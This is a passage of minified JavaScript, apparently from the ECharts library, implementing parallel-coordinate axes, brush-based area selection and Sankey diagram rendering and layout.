h=[cV(uV(f[0]/l,1))+1,lV(uV(f[1]/l,1))-1],g=m/l*f[0];return{layout:i,pixelDimIndex:a,layoutBase:t[n[a]],layoutLength:o,axisBase:t[n[1-a]],axisLength:t[r[1-a]],axisExpandable:d,axisExpandWidth:l,axisCollapseWidth:m,axisExpandWindow:f,axisCount:c,winInnerIndices:h,axisExpandWindow0Pos:g}},e.prototype._layoutAxes=function(){var e=this._rect,t=this._axesMap,n=this.dimensions,r=this._makeLayoutInfo(),i=r.layout;t.each(function(e){var t=[0,r.axisLength],n=+!!e.inverse;e.setExtent(t[n],t[1-n])}),aV(n,function(t,n){var a=(r.axisExpandable?hV:mV)(n,r),o={horizontal:{x:a.position,y:r.axisLength},vertical:{x:0,y:a.position}},s={horizontal:dV/2,vertical:0},c=[o[i].x+e.x,o[i].y+e.y],l=s[i],u=Bn();Gn(u,u,l),Wn(u,u,c),this._axesLayout[t]={position:c,rotation:l,transform:u,axisNameAvailableWidth:a.axisNameAvailableWidth,axisLabelShow:a.axisLabelShow,nameTruncateMaxWidth:a.nameTruncateMaxWidth,tickDirection:1,labelDirection:1}},this)},e.prototype.getAxis=function(e){return this._axesMap.get(e)},e.prototype.dataToPoint=function(e,t){return this.axisCoordToPoint(this._axesMap.get(t).dataToCoord(e),t)},e.prototype.eachActiveState=function(e,t,n,r){n??=0,r??=e.count();var i=this._axesMap,a=this.dimensions,o=[],s=[];L(a,function(t){o.push(e.mapDimension(t)),s.push(i.get(t).model)});for(var c=this.hasAxisBrushed(),l=n;l<r;l++){var u=void 0;if(!c)u=`normal`;else{u=`active`;for(var d=e.getValues(o,l),f=0,p=a.length;f<p;f++)if(s[f].getActiveState(d[f])===`inactive`){u=`inactive`;break}}t(u,l)}},e.prototype.hasAxisBrushed=function(){for(var e=this.dimensions,t=this._axesMap,n=!1,r=0,i=e.length;r<i;r++)t.get(e[r]).model.getActiveState()!==`normal`&&(n=!0);return n},e.prototype.axisCoordToPoint=function(e,t){var n=this._axesLayout[t];return lm([e,0],n.transform)},e.prototype.getAxisLayout=function(e){return P(this._axesLayout[e])},e.prototype.getSlidedAxisExpandWindow=function(e){var t=this._makeLayoutInfo(),n=t.pixelDimIndex,r=t.axisExpandWindow.slice(),i=r[1]-r[0],a=[0,t.axisExpandWidth*(t.axisCount-1)];if(!this.containPoint(e))return{behavior:`none`,axisExpandWindow:r};var o=e[n]-t.layoutBase-t.axisExpandWindow0Pos,s,c=`slide`,l=t.axisCollapseWidth,u=this._model.get(`axisExpandSlideTriggerArea`),d=u[0]!=null;if(l)d&&l&&o<i*u[0]?(c=`jump`,s=o-i*u[2]):d&&l&&o>i*(1-u[0])?(c=`jump`,s=o-i*(1-u[2])):(s=o-i*u[1])>=0&&(s=o-i*(1-u[1]))<=0&&(s=0),s*=t.axisExpandWidth/l,s?nV(s,r,a,`all`):c=`none`;else{var f=r[1]-r[0];r=[sV(0,a[1]*o/f-f/2)],r[1]=oV(a[1],r[0]+f),r[0]=r[1]-f}return{axisExpandWindow:r,behavior:c}},e}();function pV(e,t){return oV(sV(e,t[0]),t[1])}function mV(e,t){var n=t.layoutLength/(t.axisCount-1);return{position:n*e,axisNameAvailableWidth:n,axisLabelShow:!0}}function hV(e,t){var n=t.layoutLength,r=t.axisExpandWidth,i=t.axisCount,a=t.axisCollapseWidth,o=t.winInnerIndices,s,c=a,l=!1,u;return e<o[0]?(s=e*a,u=a):e<=o[1]?(s=t.axisExpandWindow0Pos+e*r-t.axisExpandWindow[0],c=r,l=!0):(s=n-(i-1-e)*a,u=a),{position:s,axisNameAvailableWidth:c,axisLabelShow:l,nameTruncateMaxWidth:u}}function gV(e,t){var n=[];return e.eachComponent(`parallel`,function(r,i){var a=new fV(r,e,t);a.name=`parallel_`+i,a.resize(r,t),r.coordinateSystem=a,a.model=r,n.push(a)}),e.eachSeries(function(e){e.get(`coordinateSystem`)===`parallel`&&(e.coordinateSystem=e.getReferringComponents(`parallel`,uc).models[0].coordinateSystem)}),n}var _V={create:gV},vV=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.activeIntervals=[],n}return t.prototype.getAreaSelectStyle=function(){return Pc([[`fill`,`color`],[`lineWidth`,`borderWidth`],[`stroke`,`borderColor`],[`width`,`width`],[`opacity`,`opacity`]])(this.getModel(`areaSelectStyle`))},t.prototype.setActiveIntervals=function(e){var t=this.activeIntervals=P(e);if(t)for(var n=t.length-1;n>=0;n--)ls(t[n])},t.prototype.getActiveState=function(e){var t=this.activeIntervals;if(!t.length)return`normal`;if(e==null||isNaN(+e))return`inactive`;if(t.length===1){var n=t[0];if(n[0]<=e&&e<=n[1])return`active`}else for(var r=0,i=t.length;r<i;r++)if(t[r][0]<=e&&e<=t[r][1])return`active`;return`inactive`},t}(e_);ot(vV,FE);var yV=!0,bV=Math.min,xV=Math.max,SV=Math.pow,CV=1e4,wV=6,TV=6,EV=`globalPan`,DV={w:[0,0],e:[0,1],n:[1,0],s:[1,1]},OV={w:`ew`,e:`ew`,n:`ns`,s:`ns`,ne:`nesw`,sw:`nesw`,nw:`nwse`,se:`nwse`},kV={brushStyle:{lineWidth:2,stroke:Q.color.backgroundTint,fill:Q.color.borderTint},transformable:!0,brushMode:`single`,removeOnClick:!1},AV=0,jV=function(e){N(t,e);function t(t){var n=e.call(this)||this;return n._track=[],n._covers=[],n._handlers={},n._zr=t,n.group=new Y,n._uid=`brushController_`+ AV++,L(lH,function(e,t){this._handlers[t]=z(e,this)},n),n}return t.prototype.enableBrush=function(e){return this._brushType&&this._doDisableBrush(),e.brushType&&this._doEnableBrush(e),this},t.prototype._doEnableBrush=function(e){var t=this._zr;this._enableGlobalPan||IP(t,EV,this._uid),L(this._handlers,function(e,n){t.on(n,e)}),this._brushType=e.brushType,this._brushOption=nt(P(kV),e,!0)},t.prototype._doDisableBrush=function(){var e=this._zr;LP(e,EV,this._uid),L(this._handlers,function(t,n){e.off(n,t)}),this._brushType=this._brushOption=null},t.prototype.setPanels=function(e){if(e&&e.length){var t=this._panels={};L(e,function(e){t[e.panelId]=P(e)})}else this._panels=null;return this},t.prototype.mount=function(e){e||={},this._enableGlobalPan=e.enableGlobalPan;var t=this.group;return this._zr.add(t),t.attr({x:e.x||0,y:e.y||0,rotation:e.rotation||0,scaleX:e.scaleX||1,scaleY:e.scaleY||1}),this._transform=t.getLocalTransform(),this},t.prototype.updateCovers=function(e){e=R(e,function(e){return nt(P(kV),e,!0)});var t=`\0-brush-index-`,n=this._covers,r=this._covers=[],i=this,a=this._creatingCover;return new Cw(n,e,s,o).add(c).update(c).remove(l).execute(),this;function o(e,n){return(e.id==null?t+n:e.id)+`-`+e.brushType}function s(e,t){return o(e.__brushOption,t)}function c(t,o){var s=e[t];o!=null&&n[o]===a?r[t]=n[o]:IV(i,r[t]=o==null?NV(i,MV(i,s)):(n[o].__brushOption=s,n[o]))}function l(e){n[e]!==a&&i.group.remove(n[e])}},t.prototype.unmount=function(){return this.enableBrush(!1),BV(this),this._zr.remove(this.group),this},t.prototype.dispose=function(){this.unmount(),this.off()},t}(ln);function MV(e,t){var n=fH[t.brushType].createCover(e,t);return n.__brushOption=t,FV(n,t),e.group.add(n),n}function NV(e,t){var n=LV(t);return n.endCreating&&(n.endCreating(e,t),FV(t,t.__brushOption)),t}function PV(e,t){var n=t.__brushOption;LV(t).updateCoverShape(e,t,n.range,n)}function FV(e,t){var n=t.z;n??=CV,e.traverse(function(e){e.z=n,e.z2=n})}function IV(e,t){LV(t).updateCommon(e,t),PV(e,t)}function LV(e){return fH[e.__brushOption.brushType]}function RV(e,t,n){var r=e._panels;if(!r)return yV;var i,a=e._transform;return L(r,function(e){e.isTargetByCursor(t,n,a)&&(i=e)}),i}function zV(e,t){var n=e._panels;if(!n)return yV;var r=t.__brushOption.panelId;return r==null?yV:n[r]}function BV(e){var t=e._covers,n=t.length;return L(t,function(t){e.group.remove(t)},e),t.length=0,!!n}function VV(e,t){var n=R(e._covers,function(e){var t=e.__brushOption,n=P(t.range);return{brushType:t.brushType,panelId:t.panelId,range:n}});e.trigger(`brush`,{areas:n,isEnd:!!t.isEnd,removeOnClick:!!t.removeOnClick})}function HV(e){var t=e._track;if(!t.length)return!1;var n=t[t.length-1],r=t[0],i=n[0]-r[0],a=n[1]-r[1];return SV(i*i+a*a,.5)>wV}function UV(e){var t=e.length-1;return t<0&&(t=0),[e[0],e[t]]}function WV(e,t,n,r){var i=new Y;return i.add(new Lu({name:`main`,style:JV(n),silent:!0,draggable:!0,cursor:`move`,drift:pt($V,e,t,i,[`n`,`s`,`w`,`e`]),ondragend:pt(VV,t,{isEnd:!0})})),L(r,function(n){i.add(new Lu({name:n.join(``),style:{opacity:0},draggable:!0,silent:!0,invisible:!0,drift:pt($V,e,t,i,n),ondragend:pt(VV,t,{isEnd:!0})}))}),i}function GV(e,t,n,r){var i=r.brushStyle.lineWidth||0,a=xV(i,TV),o=n[0][0],s=n[1][0],c=o-i/2,l=s-i/2,u=n[0][1],d=n[1][1],f=u-a+i/2,p=d-a+i/2,m=u-o,h=d-s,g=m+i,_=h+i;qV(e,t,`main`,o,s,m,h),r.transformable&&(qV(e,t,`w`,c,l,a,_),qV(e,t,`e`,f,l,a,_),qV(e,t,`n`,c,l,g,a),qV(e,t,`s`,c,p,g,a),qV(e,t,`nw`,c,l,a,a),qV(e,t,`ne`,f,l,a,a),qV(e,t,`sw`,c,p,a,a),qV(e,t,`se`,f,p,a,a))}function KV(e,t){var n=t.__brushOption,r=n.transformable,i=t.childAt(0);i.useStyle(JV(n)),i.attr({silent:!r,cursor:r?`move`:`default`}),L([[`w`],[`e`],[`n`],[`s`],[`s`,`e`],[`s`,`w`],[`n`,`e`],[`n`,`w`]],function(n){var i=t.childOfName(n.join(``)),a=n.length===1?ZV(e,n[0]):QV(e,n);i&&i.attr({silent:!r,invisible:!r,cursor:r?OV[a]+`-resize`:null})})}function qV(e,t,n,r,i,a,o){var s=t.childOfName(n);s&&s.setShape(rH(nH(e,t,[[r,i],[r+a,i+o]])))}function JV(e){return I({strokeNoScale:!0},e.brushStyle)}function YV(e,t,n,r){var i=[bV(e,n),bV(t,r)],a=[xV(e,n),xV(t,r)];return[[i[0],a[0]],[i[1],a[1]]]}function XV(e){return cm(e.group)}function ZV(e,t){return{left:`w`,right:`e`,top:`n`,bottom:`s`}[um({w:`left`,e:`right`,n:`top`,s:`bottom`}[t],XV(e))]}function QV(e,t){var n=[ZV(e,t[0]),ZV(e,t[1])];return(n[0]===`e`||n[0]===`w`)&&n.reverse(),n.join(``)}function $V(e,t,n,r,i,a){var o=n.__brushOption,s=e.toRectRange(o.range),c=tH(t,i,a);L(r,function(e){var t=DV[e];s[t[0]][t[1]]+=c[t[0]]}),o.range=e.fromRectRange(YV(s[0][0],s[1][0],s[0][1],s[1][1])),IV(t,n),VV(t,{isEnd:!1})}function eH(e,t,n,r){var i=t.__brushOption.range,a=tH(e,n,r);L(i,function(e){e[0]+=a[0],e[1]+=a[1]}),IV(e,t),VV(e,{isEnd:!1})}function tH(e,t,n){var r=e.group,i=r.transformCoordToLocal(t,n),a=r.transformCoordToLocal(0,0);return[i[0]-a[0],i[1]-a[1]]}function nH(e,t,n){var r=zV(e,t);return r&&r!==yV?r.clipPath(n,e._transform):P(n)}function rH(e){var t=bV(e[0][0],e[1][0]),n=bV(e[0][1],e[1][1]),r=xV(e[0][0],e[1][0]),i=xV(e[0][1],e[1][1]);return{x:t,y:n,width:r-t,height:i-n}}function iH(e,t,n){if(!(!e._brushType||dH(e,t.offsetX,t.offsetY))){var r=e._zr,i=e._covers,a=RV(e,t,n);if(!e._dragging)for(var o=0;o<i.length;o++){var s=i[o].__brushOption;if(a&&(a===yV||s.panelId===a.panelId)&&fH[s.brushType].contain(i[o],n[0],n[1]))return}a&&r.setCursorStyle(`crosshair`)}}function aH(e){var t=e.event;t.preventDefault&&t.preventDefault()}function oH(e,t,n){return e.childOfName(`main`).contain(t,n)}function sH(e,t,n,r){var i=e._creatingCover,a=e._creatingPanel,o=e._brushOption,s;if(e._track.push(n.slice()),HV(e)||i){if(a&&!i){o.brushMode===`single`&&BV(e);var c=P(o);c.brushType=cH(c.brushType,a),c.panelId=a===yV?null:a.panelId,i=e._creatingCover=MV(e,c),e._covers.push(i)}if(i){var l=fH[cH(e._brushType,a)],u=i.__brushOption;u.range=l.getCreatingRange(nH(e,i,e._track)),r&&(NV(e,i),l.updateCommon(e,i)),PV(e,i),s={isEnd:r}}}else r&&o.brushMode===`single`&&o.removeOnClick&&RV(e,t,n)&&BV(e)&&(s={isEnd:r,removeOnClick:!0});return s}function cH(e,t){return e===`auto`?t.defaultBrushType:e}var lH={mousedown:function(e){if(this._dragging)uH(this,e);else if(!e.target||!e.target.draggable){aH(e);var t=this.group.transformCoordToLocal(e.offsetX,e.offsetY);this._creatingCover=null,(this._creatingPanel=RV(this,e,t))&&(this._dragging=!0,this._track=[t.slice()])}},mousemove:function(e){var t=e.offsetX,n=e.offsetY,r=this.group.transformCoordToLocal(t,n);if(iH(this,e,r),this._dragging){aH(e);var i=sH(this,e,r,!1);i&&VV(this,i)}},mouseup:function(e){uH(this,e)}};function uH(e,t){if(e._dragging){aH(t);var n=t.offsetX,r=t.offsetY,i=sH(e,t,e.group.transformCoordToLocal(n,r),!0);e._dragging=!1,e._track=[],e._creatingCover=null,i&&VV(e,i)}}function dH(e,t,n){var r=e._zr;return t<0||t>r.getWidth()||n<0||n>r.getHeight()}var fH={lineX:pH(0),lineY:pH(1),rect:{createCover:function(e,t){function n(e){return e}return WV({toRectRange:n,fromRectRange:n},e,t,[[`w`],[`e`],[`n`],[`s`],[`s`,`e`],[`s`,`w`],[`n`,`e`],[`n`,`w`]])},getCreatingRange:function(e){var t=UV(e);return YV(t[1][0],t[1][1],t[0][0],t[0][1])},updateCoverShape:function(e,t,n,r){GV(e,t,n,r)},updateCommon:KV,contain:oH},polygon:{createCover:function(e,t){var n=new Y;return n.add(new lp({name:`main`,style:JV(t),silent:!0})),n},getCreatingRange:function(e){return e},endCreating:function(e,t){t.remove(t.childAt(0)),t.add(new sp({name:`main`,draggable:!0,drift:pt(eH,e,t),ondragend:pt(VV,e,{isEnd:!0})}))},updateCoverShape:function(e,t,n,r){t.childAt(0).setShape({points:nH(e,t,n)})},updateCommon:KV,contain:oH}};function pH(e){return{createCover:function(t,n){return WV({toRectRange:function(t){var n=[t,[0,100]];return e&&n.reverse(),n},fromRectRange:function(t){return t[e]}},t,n,[[[`w`],[`e`]],[[`n`],[`s`]]][e])},getCreatingRange:function(t){var n=UV(t);return[bV(n[0][e],n[1][e]),xV(n[0][e],n[1][e])]},updateCoverShape:function(t,n,r,i){var a,o=zV(t,n);if(o!==yV&&o.getLinearBrushOtherExtent)a=o.getLinearBrushOtherExtent(e);else{var s=t._zr;a=[0,[s.getWidth(),s.getHeight()][1-e]]}var c=[r,a];e&&c.reverse(),GV(t,n,c,i)},updateCommon:KV,contain:oH}}function mH(e){return e=_H(e),function(t){return mm(t,e)}}function hH(e,t){return e=_H(e),function(n){var r=t??n,i=r?e.width:e.height,a=r?e.x:e.y;return[a,a+(i||0)]}}function gH(e,t,n){var r=_H(e);return function(e,i){return r.contain(i[0],i[1])&&!BP(e,t,n)}}function _H(e){return J.create(e)}var vH=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(t,n){e.prototype.init.apply(this,arguments),(this._brushController=new jV(n.getZr())).on(`brush`,z(this._onBrush,this))},t.prototype.render=function(e,t,n,r){if(!yH(e,t,r)){this.axisModel=e,this.api=n,this.group.removeAll();var i=this._axisGroup;if(this._axisGroup=new Y,this.group.add(this._axisGroup),e.get(`show`)){var a=xH(e,t),o=a.coordinateSystem,s=e.getAreaSelectStyle(),c=s.width,l=e.axis.dim,u=o.getAxisLayout(l),d=F({strokeContainThreshold:c},u),f=new eN(e,n,d);f.build(),this._axisGroup.add(f.group),this._refreshBrushController(d,s,e,a,c,n),pm(i,this._axisGroup,e)}}},t.prototype._refreshBrushController=function(e,t,n,r,i,a){var o=n.axis.getExtent(),s=o[1]-o[0],c=Math.min(30,Math.abs(s)*.1),l=J.create({x:o[0],y:-i/2,width:s,height:i});l.x-=c,l.width+=2*c,this._brushController.mount({enableGlobalPan:!0,rotation:e.rotation,x:e.position[0],y:e.position[1]}).setPanels([{panelId:`pl`,clipPath:mH(l),isTargetByCursor:gH(l,a,r),getLinearBrushOtherExtent:hH(l,0)}]).enableBrush({brushType:`lineX`,brushStyle:t,removeOnClick:!0}).updateCovers(bH(n))},t.prototype._onBrush=function(e){var t=e.areas,n=this.axisModel,r=n.axis,i=R(t,function(e){return[r.coordToData(e.range[0],!0),r.coordToData(e.range[1],!0)]});(!n.option.realtime===e.isEnd||e.removeOnClick)&&this.api.dispatchAction({type:`axisAreaSelect`,parallelAxisId:n.id,intervals:i})},t.prototype.dispose=function(){this._brushController.dispose()},t.type=`parallelAxis`,t}(Eb);function yH(e,t,n){return n&&n.type===`axisAreaSelect`&&t.findComponents({mainType:`parallelAxis`,query:n})[0]===e}function bH(e){var t=e.axis;return R(e.activeIntervals,function(e){return{brushType:`lineX`,panelId:`pl`,range:[t.dataToCoord(e[0],!0),t.dataToCoord(e[1],!0)]}})}function xH(e,t){return t.getComponent(`parallel`,e.get(`parallelIndex`))}var SH={type:`axisAreaSelect`,event:`axisAreaSelected`};function CH(e){e.registerAction(SH,function(e,t){t.eachComponent({mainType:`parallelAxis`,query:e},function(t){t.axis.model.setActiveIntervals(e.intervals)})}),e.registerAction(`parallelAxisExpand`,function(e,t){t.eachComponent({mainType:`parallel`,query:e},function(t){t.setAxisExpand(e)})})}var wH={type:`value`,areaSelectStyle:{width:20,borderWidth:1,borderColor:`rgba(160,197,232)`,color:`rgba(160,197,232)`,opacity:.3},realtime:!0,z:10};function TH(e){e.registerComponentView(ZB),e.registerComponentModel(eV),e.registerCoordinateSystem(`parallel`,_V),e.registerPreprocessor(qB),e.registerComponentModel(vV),e.registerComponentView(vH),EM(e,`parallel`,vV,wH),CH(e)}function EH(e){bw(TH),e.registerChartView(FB),e.registerSeriesModel(HB),e.registerVisual(e.PRIORITY.VISUAL.BRUSH,KB)}var DH=function(){function e(){this.x1=0,this.y1=0,this.x2=0,this.y2=0,this.cpx1=0,this.cpy1=0,this.cpx2=0,this.cpy2=0,this.extent=0}return e}(),OH=function(e){N(t,e);function t(t){return e.call(this,t)||this}return t.prototype.getDefaultShape=function(){return new DH},t.prototype.buildPath=function(e,t){var n=t.extent;e.moveTo(t.x1,t.y1),e.bezierCurveTo(t.cpx1,t.cpy1,t.cpx2,t.cpy2,t.x2,t.y2),t.orient===`vertical`?(e.lineTo(t.x2+n,t.y2),e.bezierCurveTo(t.cpx2+n,t.cpy2,t.cpx1+n,t.cpy1,t.x1+n,t.y1)):(e.lineTo(t.x2,t.y2+n),e.bezierCurveTo(t.cpx2,t.cpy2+n,t.cpx1,t.cpy1+n,t.x1,t.y1+n)),e.closePath()},t.prototype.highlight=function(){Pd(this)},t.prototype.downplay=function(){Fd(this)},t}(Cu),kH=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._mainGroup=new Y,n._focusAdjacencyDisabled=!1,n}return t.prototype.init=function(e,t){this._controller=new VP(t.getZr()),this._controllerHost={target:this.group},this.group.add(this._mainGroup)},t.prototype.render=function(e,t,n){var r=this,i=e.getGraph(),a=this._mainGroup,o=e.layoutInfo,s=o.width,c=o.height,l=e.getData(),u=e.getData(`edge`),d=e.get(`orient`);this._model=e,a.removeAll(),a.x=o.x,a.y=o.y,this._updateViewCoordSys(e,n),$P(e,n,a,this._controller,this._controllerHost,null),i.eachEdge(function(t){var n=new OH,r=Z(n);r.dataIndex=t.dataIndex,r.seriesIndex=e.seriesIndex,r.dataType=`edge`;var i=t.getModel(),o=i.getModel(`lineStyle`),l=o.get(`curveness`),f=t.node1.getLayout(),p=t.node1.getModel(),m=p.get(`localX`),h=p.get(`localY`),g=t.node2.getLayout(),_=t.node2.getModel(),v=_.get(`localX`),y=_.get(`localY`),b=t.getLayout(),x,S,C,w,T,E,D,O;n.shape.extent=Math.max(1,b.dy),n.shape.orient=d,d===`vertical`?(x=(m==null?f.x:m*s)+b.sy,S=(h==null?f.y:h*c)+f.dy,C=(v==null?g.x:v*s)+b.ty,w=y==null?g.y:y*c,T=x,E=S*(1-l)+w*l,D=C,O=S*l+w*(1-l)):(x=(m==null?f.x:m*s)+f.dx,S=(h==null?f.y:h*c)+b.sy,C=v==null?g.x:v*s,w=(y==null?g.y:y*c)+b.ty,T=x*(1-l)+C*l,E=S,D=x*l+C*(1-l),O=w),n.setShape({x1:x,y1:S,x2:C,y2:w,cpx1:T,cpy1:E,cpx2:D,cpy2:O}),n.useStyle(o.getItemStyle()),AH(n.style,d,t);var k=``+i.get(`value`),A=zm(i,`edgeLabel`);Rm(n,A,{labelFetcher:{getFormattedLabel:function(t,n,r,i,a,o){return e.getFormattedLabel(t,n,`edge`,i,wt(a,A.normal&&A.normal.get(`formatter`),k),o)}},labelDataIndex:t.dataIndex,defaultText:k}),n.setTextConfig({position:`inside`});var j=i.getModel(`emphasis`);rf(n,i,`lineStyle`,function(e){var n=e.getItemStyle();return AH(n,d,t),n}),a.add(n),u.setItemGraphicEl(t.dataIndex,n);var ee=j.get(`focus`);$d(n,ee===`adjacency`?t.getAdjacentDataIndices():ee===`trajectory`?t.getTrajectoryDataIndices():ee,j.get(`blurScope`),j.get(`disabled`))}),i.eachNode(function(t){var n=t.getLayout(),r=t.getModel(),i=r.get(`localX`),o=r.get(`localY`),u=r.getModel(`emphasis`),d=r.get([`itemStyle`,`borderRadius`])||0,f=new Lu({shape:{x:i==null?n.x:i*s,y:o==null?n.y:o*c,width:n.dx,height:n.dy,r:d},style:r.getModel(`itemStyle`).getItemStyle(),z2:10});Rm(f,zm(r),{labelFetcher:{getFormattedLabel:function(t,n){return e.getFormattedLabel(t,n,`node`)}},labelDataIndex:t.dataIndex,defaultText:t.id}),f.disableLabelAnimation=!0,f.setStyle(`fill`,t.getVisual(`color`)),f.setStyle(`decal`,t.getVisual(`style`).decal),rf(f,r),a.add(f),l.setItemGraphicEl(t.dataIndex,f),Z(f).dataType=`node`;var p=u.get(`focus`);$d(f,p===`adjacency`?t.getAdjacentDataIndices():p===`trajectory`?t.getTrajectoryDataIndices():p,u.get(`blurScope`),u.get(`disabled`))}),l.eachItemGraphicEl(function(t,i){l.getItemModel(i).get(`draggable`)&&(t.drift=function(t,a){r._focusAdjacencyDisabled=!0,this.shape.x+=t,this.shape.y+=a,this.dirty(),n.dispatchAction({type:`dragNode`,seriesId:e.id,dataIndex:l.getRawIndex(i),localX:this.shape.x/s,localY:this.shape.y/c})},t.ondragend=function(){r._focusAdjacencyDisabled=!1},t.draggable=!0,t.cursor=`move`)}),!this._data&&e.isAnimationEnabled()&&a.setClipPath(jH(a.getBoundingRect(),e,function(){a.removeClipPath()})),this._data=e.getData()},t.prototype.dispose=function(){this._controller&&this._controller.dispose(),this._controllerHost=null},t.prototype._updateViewCoordSys=function(e,t){var n=e.layoutInfo,r=n.width,i=n.height,a=e.coordinateSystem=new _I(null,{api:t,ecModel:e.ecModel});a.zoomLimit=e.get(`scaleLimit`),a.setBoundingRect(0,0,r,i),a.setCenter(e.get(`center`)),a.setZoom(e.get(`zoom`)),this._controllerHost.target.attr({x:a.x,y:a.y,scaleX:a.scaleX,scaleY:a.scaleY})},t.type=`sankey`,t}(Ab);function AH(e,t,n){switch(e.fill){case`source`:e.fill=n.node1.getVisual(`color`),e.decal=n.node1.getVisual(`style`).decal;break;case`target`:e.fill=n.node2.getVisual(`color`),e.decal=n.node2.getVisual(`style`).decal;break;case`gradient`:var r=n.node1.getVisual(`color`),i=n.node2.getVisual(`color`);H(r)&&H(i)&&(e.fill=new xp(0,0,+(t===`horizontal`),+(t===`vertical`),[{color:r,offset:0},{color:i,offset:1}]))}}function jH(e,t,n){var r=new Lu({shape:{x:e.x-10,y:e.y-10,width:0,height:e.height+20}});return Rp(r,{shape:{width:e.width+20}},t,n),r}var MH=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.getInitialData=function(e,t){var n=e.edges||e.links||[],r=e.data||e.nodes||[],i=e.levels||[];this.levelModels=[];for(var a=this.levelModels,o=0;o<i.length;o++)i[o].depth!=null&&i[o].depth>=0&&(a[i[o].depth]=new lh(i[o],this,t));return oB(r,n,this,!0,s).data;function s(e,t){e.wrapMethod(`getItemModel`,function(e,t){var n=e.parentModel,r=n.getData().getItemLayout(t);if(r){var i=r.depth,a=n.levelModels[i];a&&(e.parentModel=a)}return e}),t.wrapMethod(`getItemModel`,function(e,t){var n=e.parentModel,r=n.getGraph().getEdgeByIndex(t).node1.getLayout();if(r){var i=r.depth,a=n.levelModels[i];a&&(e.parentModel=a)}return e})}},t.prototype.setNodePosition=function(e,t){var n=(this.option.data||this.option.nodes)[e];n.localX=t[0],n.localY=t[1]},t.prototype.setCenter=function(e){this.option.center=e},t.prototype.setZoom=function(e){this.option.zoom=e},t.prototype.getGraph=function(){return this.getData().graph},t.prototype.getEdgeData=function(){return this.getGraph().edgeData},t.prototype.formatTooltip=function(e,t,n){function r(e){return isNaN(e)||e==null}if(n===`edge`){var i=this.getDataParams(e,n),a=i.data,o=i.value;return Xy(`nameValue`,{name:a.source+` -- `+a.target,value:o,noValue:r(o)})}else{var s=this.getGraph().getNodeByIndex(e).getLayout().value,c=this.getDataParams(e,n).data.name;return Xy(`nameValue`,{name:c==null?null:c+``,value:s,noValue:r(s)})}},t.prototype.optionUpdated=function(){},t.prototype.getDataParams=function(t,n){var r=e.prototype.getDataParams.call(this,t,n);return r.value==null&&n===`node`&&(r.value=this.getGraph().getNodeByIndex(t).getLayout().value),r},t.type=`series.sankey`,t.layoutMode=`box`,t.defaultOption={z:2,coordinateSystemUsage:`box`,left:`5%`,top:`5%`,right:`20%`,bottom:`5%`,orient:`horizontal`,nodeWidth:20,nodeGap:8,draggable:!0,layoutIterations:32,roam:!1,roamTrigger:`global`,center:null,zoom:1,label:{show:!0,position:`right`,fontSize:12},edgeLabel:{show:!1,fontSize:12},levels:[],nodeAlign:`justify`,lineStyle:{color:Q.color.neutral50,opacity:.2,curveness:.5},emphasis:{label:{show:!0},lineStyle:{opacity:.5}},select:{itemStyle:{borderColor:Q.color.primary}},animationEasing:`linear`,animationDuration:1e3},t}(_b);function NH(e,t){e.eachSeriesByType(`sankey`,function(e){var n=e.get(`nodeWidth`),r=e.get(`nodeGap`),i=Kg(e,t).refContainer,a=Ug(e.getBoxLayoutParams(),i);e.layoutInfo=a;var o=a.width,s=a.height,c=e.getGraph(),l=c.nodes,u=c.edges;FH(l),PH(l,u,n,r,o,s,lt(l,function(e){return e.getLayout().value===0}).length===0?e.get(`layoutIterations`):0,e.get(`orient`),e.get(`nodeAlign`))})}function PH(e,t,n,r,i,a,o,s,c){IH(e,t,n,i,a,s,c),VH(e,t,a,i,r,o,s),eU(e,s)}function FH(e){L(e,function(e){var t=QH(e.outEdges,ZH),n=QH(e.inEdges,ZH),r=e.getValue()||0,i=Math.max(t,n,r);e.setLayout({value:i},!0)})}function IH(e,t,n,r,i,a,o){for(var s=[],c=[],l=[],u=[],d=0,f=0;f<t.length;f++)s[f]=1;for(var f=0;f<e.length;f++)c[f]=e[f].inEdges.length,c[f]===0&&l.push(e[f]);for(var p=-1;l.length;){for(var m=0;m<l.length;m++){var h=l[m],g=h.hostGraph.data.getRawDataItem(h.dataIndex),_=g.depth!=null&&g.depth>=0;_&&g.depth>p&&(p=g.depth),h.setLayout({depth:_?g.depth:d},!0),a===`vertical`?h.setLayout({dy:n},!0):h.setLayout({dx:n},!0);for(var v=0;v<h.outEdges.length;v++){var y=h.outEdges[v],b=t.indexOf(y);s[b]=0;var x=y.node2,S=e.indexOf(x);--c[S]===0&&u.indexOf(x)<0&&u.push(x)}}++d,l=u,u=[]}for(var f=0;f<s.length;f++)if(s[f]===1)throw Error(`Sankey is a DAG, the original data has cycle!`);var C=p>d-1?p:d-1;o&&o!==`left`&&RH(e,o,a,C),BH(e,a===`vertical`?(i-n)/C:(r-n)/C,a)}function LH(e){var t=e.hostGraph.data.getRawDataItem(e.dataIndex);return t.depth!=null&&t.depth>=0}function RH(e,t,n,r){if(t===`right`){for(var i=[],a=e,o=0;a.length;){for(var s=0;s<a.length;s++){var c=a[s];c.setLayout({skNodeHeight:o},!0);for(var l=0;l<c.inEdges.length;l++){var u=c.inEdges[l];i.indexOf(u.node1)<0&&i.push(u.node1)}}a=i,i=[],++o}L(e,function(e){LH(e)||e.setLayout({depth:Math.max(0,r-e.getLayout().skNodeHeight)},!0)})}else t===`justify`&&zH(e,r)}function zH(e,t){L(e,function(e){!LH(e)&&!e.outEdges.length&&e.setLayout({depth:t},!0)})}function BH(e,t,n){L(e,function(e){var r=e.getLayout().depth*t;n===`vertical`?e.setLayout({y:r},!0):e.setLayout({x:r},!0)})}function VH(e,t,n,r,i,a,o){var s=HH(e,o);UH(s,t,n,r,i,o),WH(s,i,n,r,o);for(var c=1;a>0;a--)c*=.99,GH(s,c,o),WH(s,i,n,r,o),$H(s,c,o),WH(s,i,n,r,o)}function HH(e,t){var n=[],r=t===`vertical`?`y`:`x`,i=gc(e,function(e){return e.getLayout()[r]});return i.keys.sort(function(e,t){return e-t}),L(i.keys,function(e){n.push(i.buckets.get(e))}),n}function UH(e,t,n,r,i,a){var o=1/0;L(e,function(e){var t=e.length,s=0;L(e,function(e){s+=e.getLayout().value});var 